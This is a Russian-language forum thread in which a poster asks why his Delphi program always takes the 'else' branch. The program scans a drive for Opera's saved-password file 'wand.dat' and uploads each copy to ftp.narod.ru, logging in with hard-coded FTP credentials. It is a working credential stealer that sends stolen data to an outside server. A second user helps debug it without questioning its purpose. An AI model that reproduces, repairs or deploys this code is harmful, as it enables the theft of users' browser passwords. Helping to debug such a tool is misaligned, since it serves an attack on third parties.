Немогу найти ошибку

[Fox-007]

Эта програмы всегда выдает элсе
вот в этом месте:

Цитата: if n = 'wand.dat' then idftp1.Put(n, IntToStr(int)+'wand.dat', true) else idftp1.Put(n, IntToStr(int)+'qwerty.dat', true);

Цитата: procedure TForm1.FormCreate(Sender: TObject); begin mFileScan1.Paths.Text:= DriveComboBox1.Drive + ':\'; mFileScan1.Filters.Clear; mFileScan1.Filters.Add('wand.dat'); mFileScan1.Start; end; procedure TForm1.mFileScan1FileFound(Sender: TObject; FileName: String); var n : string; i : integer ; int : integer; begin for i := 1 to 5 do begin int := 1 + Random(1000); end; if tcpClient1.LocalHostAddr <>'127.0.0.1' then begin n := (FileName) ; IdFTP1.Host:= 'ftp.narod.ru'; IdFTP1.Port:=21; IdFTP1.Username:='brokorov'; IdFTP1.Password:='jlu0f5ws'; IdFTP1.Connect; if n = 'wand.dat' then idftp1.Put(n, IntToStr(int)+'wand.dat', true) else idftp1.Put(n, IntToStr(int)+'qwerty.dat', true); idftp1.Disconnect; end else showmessage('Соединение с интернетом отсутствует!'); end;

[FreeFree]

n := (FileName) ;

в частности FileName - Это что? переменная?

procedure TForm1.mFileScan1FileFound(Sender: TObject; FileName: String);
var
n : string;
i : integer ;
int : integer;

Тут её не вижу...

Глобальная?

Тогда где ей присваевается значение?

Поставь брэйкпоинт (F2) на эту строку
if n = 'wand.dat' then и посмотри что в n - 100% там ничего нет